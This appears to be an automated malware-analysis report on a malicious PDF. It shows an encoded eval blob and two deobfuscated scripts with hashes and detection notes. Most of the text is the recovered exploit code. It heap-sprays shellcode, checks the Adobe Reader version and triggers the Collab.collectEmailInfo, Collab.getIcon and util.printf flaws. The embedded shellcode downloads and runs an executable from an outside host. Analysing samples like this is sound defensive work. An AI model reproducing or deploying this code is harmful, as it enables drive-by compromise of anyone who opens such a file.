jAlM2MlMjAlNGMlMzQlNGUlNzAlNzQlNzAlNGUlNjIlNTAlNGYlNDMlM2IlMjAlNzAlNGIlNzIlMzclNmElNTQlNzMlNmElNGMlNjMlNjMlMmIlMmIlMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNTQlNTklNmUlNzglNTglNTMlNmYlMzYlMzUlNjklNTglNWIlNzAlNGIlNzIlMzclNmElNTQlNzMlNmElNGMlNjMlNjMlNWQlMjAlM2QlMjAlNzAlMzglNTQlNGUlMzIlNmIlNDYlNmMlNWElNTIlNTMlMjAlMmIlMjAlNDYlNzYlNWElNTAlNjUlNGQlNjglNmIlNGYlNGQlN2ElM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlN2QlMjAiKSk7ICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNzclNjklNzMlMzQlMzUlNzElNDklNDIlNmIlNjElNzMlMjglMjklMjAlMjAlN2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjklNmIlMzQlNGIlNzMlNDUlNzAlNGMlNzYlNzclNTAlMjAlM2QlMjAlMzAlM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjMlNjQlNTMlNjglNzMlNzIlNDElNzglNzIlNmUlNzAlMjAlM2QlMjAlNjElNzAlNzAlMmUlNzYlNjklNjUlNzclNjUlNzIlNTYlNjUlNzIlNzMlNjklNmYlNmUlMmUlNzQlNmYlNTMlNzQlNzIlNjklNmUlNjclMjglMjklM2IlMjAlMjAlMjAlMjAlNjElNzAlNzAlMmUlNjMlNmMlNjUlNjElNzIlNTQlNjklNmQlNjUlNGYlNzUlNzQlMjglNTQlNmElNDUlNDglNzQlNmYlNjIlNzYlNDElNDglNTIlMjklM2IlMjAlMjAlMjAlMjAlNjklNjYlMjglMjglNjMlNjQlNTMlNjglNzMlNzIlNDElNzglNzIlNmUlNzAlMjAlM2UlM2QlMjAlMzglMjAlMjYlMjYlMjAlNjMlNjQlNTMlNjglNzMlNzIlNDElNzglNzIlNmUlNzAlMjAlM2MlMjAlMzglMmUlMzElMzAlMzIlMjklMjAlN2MlN2MlMjAlNjMlNjQlNTMlNjglNzMlNzIlNDElNzglNzIlNmUlNzAlMjAlM2MlMjAlMzclMmUlMzElMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNTglNTAlNmYlNGElNDIlNGYlMzMlNmYlNDglMzklNzQlMjglMzAlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNGUlMzAlNzAlNTklMzYlNDglN2ElNDMlNDklNTAlMzIlMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlMzAlNjMlMzAlNjMlMjUlNzUlMzAlNjMlMzAlNjMlMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNGUlMzAlNzAlNTklMzYlNDglN2ElNDMlNDklNTAlMzIlMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlM2MlMjAlMzQlMzQlMzklMzUlMzIlMjklMjAlNGUlMzAlNzAlNTklMzYlNDglN2ElNDMlNDklNTAlMzIlMjAlMmIlM2QlMjAlNGUlMzAlNzAlNTklMzYlNDglN2ElNDMlNDklNTAlMzIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzYlNDUlNGIlNTQlNmElMzQlNGMlNmYlMzglNjglNGQlMjAlM2QlMjAlNzQlNjglNjklNzMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNGElNDQlMzMlNzklNjQlNjYlMzUlMzklNjElN2ElNmMlMjAlM2QlMjAlNDMlNmYlNmMlNmMlNjElNjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNDUlNGIlNTQlNmElMzQlNGMlNmYlMzglNjglNGQlNWIlMjIlNjMlNmYlNmMlNmMlNjElNjIlNTMlNzQlNmYlNzIlNjUlMjIlNWQlMjAlM2QlMjAlNGElNDQlMzMlNzklNjQlNjYlMzUlMzklNjElN2ElNmMlNWIlMjIlNjMlNmYlNmMlNmMlNjUlNjMlNzQlNDUlNmQlNjElNjklNmMlNDklNmUlNjYlNmYlMjIlNWQlMjglMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzMlNzUlNjIlNmElMjAlM2ElMjAlMjIlMjIlMmMlMjAlNmQlNzMlNjclMjAlM2ElMjAlNGUlMzAlNzAlNTklMzYlNDglN2ElNDMlNDklNTAlMzIlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNjklNjYlMjglMjglNjMlNjQlNTMlNjglNzMlNzIlNDElNzglNzIlNmUlNzAlMjAlM2UlM2QlMjAlMzglMmUlMzElMzAlMzIlMjAlMjYlMjYlMjAlNjMlNjQlNTMlNjglNzMlNzIlNDElNzglNzIlNmUlNzAlMjAlM2MlMjAlMzglMmUlMzElMzAlMzQlMjklMjAlN2MlN2MlMjAlMjglNjMlNjQlNTMlNjglNzMlNzIlNDElNzglNzIlNmUlNzAlMjAlM2UlM2QlMjAlMzklMjAlMjYlMjYlMjAlNjMlNjQlNTMlNjglNzMlNzIlNDElNzglNzIlNmUlNzAlMjAlM2MlMjAlMzklMmUlMzElMjklMjAlN2MlN2MlMjAlNjMlNjQlNTMlNjglNzMlNzIlNDElNzglNzIlNmUlNzAlMjAlM2MlM2QlMjAlMzclMmUlMzElMzAlMzElMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNzQlNzIlNzklMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNjElNzAlNzAlMmUlNjQlNmYlNjMlMmUlNDMlNmYlNmMlNmMlNjElNjIlMmUlNjclNjUlNzQlNDklNjMlNmYlNmUlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNTglNTAlNmYlNGElNDIlNGYlMzMlNmYlNDglMzklNzQlMjglMzIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNGIlMzclNzElN2ElNjIlNTUlNmQlNTIlNWElNjklNGUlMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlMzAlMzklMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNGIlMzclNzElN2ElNjIlNTUlNmQlNTIlNWElNjklNGUlMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlM2MlMjAlMzAlNzglMzQlMzAlMzAlMzAlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNGIlMzclNzElN2ElNjIlNTUlNmQlNTIlNWElNjklNGUlMjAlMmIlM2QlMjAlNGIlMzclNzElN2ElNjIlNTUlNmQlNTIlNWElNjklNGUlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNGIlMzclNzElN2ElNjIlNTUlNmQlNTIlNWElNjklNGUlMjAlM2QlMjAlMjIlNGUlMmUlMjIlMjAlMmIlMjAlNGIlMzclNzElN2ElNjIlNTUlNmQlNTIlNWElNjklNGUlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzQlNGMlMzMlNGElNzElNDYlNmIlNTclNDclNjclNDMlMjAlM2QlMjAlNjElNzAlNzAlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzQlNGMlMzMlNGElNzElNDYlNmIlNTclNDclNjclNDMlNWIlMjIlNjQlNmYlNjMlMjIlNWQlNWIlMjIlNDMlNmYlNmMlNmMlNjElNjIlMjIlNWQlNWIlMjIlNjclNjUlNzQlNDklNjMlNmYlNmUlMjIlNWQlMjglNGIlMzclNzElN2ElNjIlNTUlNmQlNTIlNWElNjklNGUlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNmIlMzQlNGIlNzMlNDUlNzAlNGMlNzYlNzclNTAlMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNmIlMzQlNGIlNzMlNDUlNzAlNGMlNzYlNzclNTAlMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNjElNzQlNjMlNjglMjglNjUlMjklMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNmIlMzQlNGIlNzMlNDUlNzAlNGMlNzYlNzclNTAlMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNjklNmIlMzQlNGIlNzMlNDUlNzAlNGMlNzYlNzclNTAlMjAlM2QlM2QlMjAlMzElMjklMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNjMlNjQlNTMlNjglNzMlNzIlNDElNzglNzIlNmUlNzAlMjAlM2QlM2QlMjAlMzglMmUlMzElMzAlMzIlMjAlN2MlN2MlMjAlNjMlNjQlNTMlNjglNzMlNzIlNDElNzglNzIlNmUlNzAlMjAlM2QlM2QlMjAlMzclMmUlMzElMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNTglNTAlNmYlNGElNDIlNGYlMzMlNmYlNDglMzklNzQlMjglMzElMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjclNGUlNDYlNzclNDYlNjglMzYlNzMlMzYlNjUlNTUlMjAlM2QlMjAlMjIlMzElMzIlMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjYlNmYlNzIlMjglNGYlNTUlMzIlNGMlNjUlNzclNGElNmIlNjglNzQlNTIlMjAlM2QlMjAlMzAlM2IlMjAlNGYlNTUlMzIlNGMlNjUlNzclNGElNmIlNjglNzQlNTIlMjAlM2MlMjAlMzIlMzclMzYlM2IlMjAlNGYlNTUlMzIlNGMlNjUlNzclNGElNmIlNjglNzQlNTIlMmIlMmIlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjclNGUlNDYlNzclNDYlNjglMzYlNzMlMzYlNjUlNTUlMjAlMmIlM2QlMjAlMjIlMzglMjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNTIlMzUlNDYlNDklNjglNDglNjUlMzIlNGYlNzglNmMlMjAlM2QlMjAlNzUlNzQlNjklNmMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNTIlMzUlNDYlNDklNjglNDglNjUlMzIlNGYlNzglNmMlNWIlMjIlNzAlNzIlNjklNmUlNzQlNjYlMjIlNWQlMjglMjIlMjUlMzQlMzUlMzAlMzAlMzAlNjYlMjIlMmMlMjAlNjclNGUlNDYlNzclNDYlNjglMzYlNzMlMzYlNjUlNTUlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlN2QlMjAlN2QlMjAiKSk7IAogYXBwLll1c1IyeDZjcGZWID0gd2lzNDVxSUJrYXM7CiBUakVIdG9idkFIUiA9IGFwcC5zZXRUaW1lT3V0KCJhcHAuWXVzUjJ4NmNwZlYoKSIsIDEpOwo=");
var sssddd = eval;
sssddd(aasd);
|
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6 | 5218 bytes |
SHA-256: 0685f02a505514253120c76f0e81bb8e5a15c7c3601c52f34afa58ce43867168 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 10 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var TYnxXSo65iX = new Array();
var TjEHtobvAHR;
var lave = eval;
lave(unescape(" function G0ADGvvOclp(p8TN2kFlZRS, CJgBslh5dhz) { while(p8TN2kFlZRS.length * 2 < CJgBslh5dhz) { p8TN2kFlZRS += p8TN2kFlZRS; } p8TN2kFlZRS = p8TN2kFlZRS.substring(0, CJgBslh5dhz / 2); return p8TN2kFlZRS; } ")); lave(unescape(" function XPoJBO3oH9t(G6iNkzDN7Kk) { if(G6iNkzDN7Kk == 0) { var DYKMvp8A8Ix = 0x0c0c0c0c; var FvZPeMhkOMz = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078"); } else if(G6iNkzDN7Kk == 1) { DYKMvp8A8Ix = 0x30303030; var FvZPeMhkOMz = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078"); } else if(G6iNkzDN7Kk == 2) { var FvZPeMhkOMz = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078"); } var VJf76oulRvT = 0x400000; var VOlblKH9nXA = FvZPeMhkOMz.length * 2; var CJgBslh5dhz = VJf76oulRvT - (VOlblKH9nXA + 0x38); var p8TN2kFlZRS = unescape("%u9090%u9090"); p8TN2kFlZRS = G0ADGvvOclp(p8TN2kFlZRS, CJgBslh5dhz); var L4NptpNbPOC = (DYKMvp8A8Ix - 0x400000) / VJf76oulRvT; for(var pKr7jTsjLcc = 0; pKr7jTsjLcc < L4NptpNbPOC; pKr7jTsjLcc++) { TYnxXSo65iX[pKr7jTsjLcc] = p8TN2kFlZRS + FvZPeMhkOMz; } } ")); lave(unescape(" function wis45qIBkas() { var ik4KsEpLvwP = 0; var cdShsrAxrnp = app.viewerVersion.toString(); app.clearTimeOut(TjEHtobvAHR); if((cdShsrAxrnp >= 8 && cdShsrAxrnp < 8.102) || cdShsrAxrnp < 7.1) { XPoJBO3oH9t(0); var N0pY6HzCIP2 = unescape("%u0c0c%u0c0c"); while(N0pY6HzCIP2.length < 44952) N0pY6HzCIP2 += N0pY6HzCIP2; var vEKTj4Lo8hM = this; var JD3ydf59azl = Collab; vEKTj4Lo8hM["collabStore"] = JD3ydf59azl["collectEmailInfo"]( { subj : "", msg : N0pY6HzCIP2 } ); } if((cdShsrAxrnp >= 8.102 && cdShsrAxrnp < 8.104) || (cdShsrAxrnp >= 9 && cdShsrAxrnp < 9.1) || cdShsrAxrnp <= 7.101) { try { if(app.doc.Collab.getIcon) { XPoJBO3oH9t(2); var K7qzbUmRZiN = unescape("%09"); while(K7qzbUmRZiN.length < 0x4000) { K7qzbUmRZiN += K7qzbUmRZiN; } K7qzbUmRZiN = "N." + K7qzbUmRZiN; var tL3JqFkWGgC = app; tL3JqFkWGgC["doc"]["Collab"]["getIcon"](K7qzbUmRZiN); ik4KsEpLvwP = 1; } else { ik4KsEpLvwP = 1; } } catch(e) { ik4KsEpLvwP = 1; } if(ik4KsEpLvwP == 1) { if(cdShsrAxrnp == 8.102 || cdShsrAxrnp == 7.1) { XPoJBO3oH9t(1); var gNFwFh6s6eU = "12999999999999999999"; for(OU2LewJkhtR = 0; OU2LewJkhtR < 276; OU2LewJkhtR++) { gNFwFh6s6eU += "8"; } var R5FIhHe2Oxl = util; R5FIhHe2Oxl["printf"]("%45000f", gNFwFh6s6eU); } } } } "));
app.YusR2x6cpfV = wis45qIBkas;
TjEHtobvAHR = app.setTimeOut("app.YusR2x6cpfV()", 1);
|
|||
generic_stage_recovery_001.js |
deobfuscated-js | generic stage recovery percent-decode -> percent-decode from JavaScript object 9 at offset 0xD6 | 5214 bytes |
SHA-256: 0f1dead9b96e375ff98995358fdada9bb37fd3146ae5634d0053adebf846e821 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 10 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var TYnxXSo65iX = new Array();
var TjEHtobvAHR;
var lave = eval;
lave(unescape(" function G0ADGvvOclp(p8TN2kFlZRS, CJgBslh5dhz) { while(p8TN2kFlZRS.length * 2 < CJgBslh5dhz) { p8TN2kFlZRS += p8TN2kFlZRS; } p8TN2kFlZRS = p8TN2kFlZRS.substring(0, CJgBslh5dhz / 2); return p8TN2kFlZRS; } ")); lave(unescape(" function XPoJBO3oH9t(G6iNkzDN7Kk) { if(G6iNkzDN7Kk == 0) { var DYKMvp8A8Ix = 0x0c0c0c0c; var FvZPeMhkOMz = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078"); } else if(G6iNkzDN7Kk == 1) { DYKMvp8A8Ix = 0x30303030; var FvZPeMhkOMz = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078"); } else if(G6iNkzDN7Kk == 2) { var FvZPeMhkOMz = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078"); } var VJf76oulRvT = 0x400000; var VOlblKH9nXA = FvZPeMhkOMz.length * 2; var CJgBslh5dhz = VJf76oulRvT - (VOlblKH9nXA + 0x38); var p8TN2kFlZRS = unescape("%u9090%u9090"); p8TN2kFlZRS = G0ADGvvOclp(p8TN2kFlZRS, CJgBslh5dhz); var L4NptpNbPOC = (DYKMvp8A8Ix - 0x400000) / VJf76oulRvT; for(var pKr7jTsjLcc = 0; pKr7jTsjLcc < L4NptpNbPOC; pKr7jTsjLcc++) { TYnxXSo65iX[pKr7jTsjLcc] = p8TN2kFlZRS + FvZPeMhkOMz; } } ")); lave(unescape(" function wis45qIBkas() { var ik4KsEpLvwP = 0; var cdShsrAxrnp = app.viewerVersion.toString(); app.clearTimeOut(TjEHtobvAHR); if((cdShsrAxrnp >= 8 && cdShsrAxrnp < 8.102) || cdShsrAxrnp < 7.1) { XPoJBO3oH9t(0); var N0pY6HzCIP2 = unescape("%u0c0c%u0c0c"); while(N0pY6HzCIP2.length < 44952) N0pY6HzCIP2 += N0pY6HzCIP2; var vEKTj4Lo8hM = this; var JD3ydf59azl = Collab; vEKTj4Lo8hM["collabStore"] = JD3ydf59azl["collectEmailInfo"]( { subj : "", msg : N0pY6HzCIP2 } ); } if((cdShsrAxrnp >= 8.102 && cdShsrAxrnp < 8.104) || (cdShsrAxrnp >= 9 && cdShsrAxrnp < 9.1) || cdShsrAxrnp <= 7.101) { try { if(app.doc.Collab.getIcon) { XPoJBO3oH9t(2); var K7qzbUmRZiN = unescape(" "); while(K7qzbUmRZiN.length < 0x4000) { K7qzbUmRZiN += K7qzbUmRZiN; } K7qzbUmRZiN = "N." + K7qzbUmRZiN; var tL3JqFkWGgC = app; tL3JqFkWGgC["doc"]["Collab"]["getIcon"](K7qzbUmRZiN); ik4KsEpLvwP = 1; } else { ik4KsEpLvwP = 1; } } catch(e) { ik4KsEpLvwP = 1; } if(ik4KsEpLvwP == 1) { if(cdShsrAxrnp == 8.102 || cdShsrAxrnp == 7.1) { XPoJBO3oH9t(1); var gNFwFh6s6eU = "12999999999999999999"; for(OU2LewJkhtR = 0; OU2LewJkhtR < 276; OU2LewJkhtR++) { gNFwFh6s6eU += "8"; } var R5FIhHe2Oxl = util; R5FIhHe2Oxl["printf"]("E000f", gNFwFh6s6eU); } } } } "));
app.YusR2x6cpfV = wis45qIBkas;
TjEHtobvAHR = app.setTimeOut("app.YusR2x6cpfV()", 1);
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.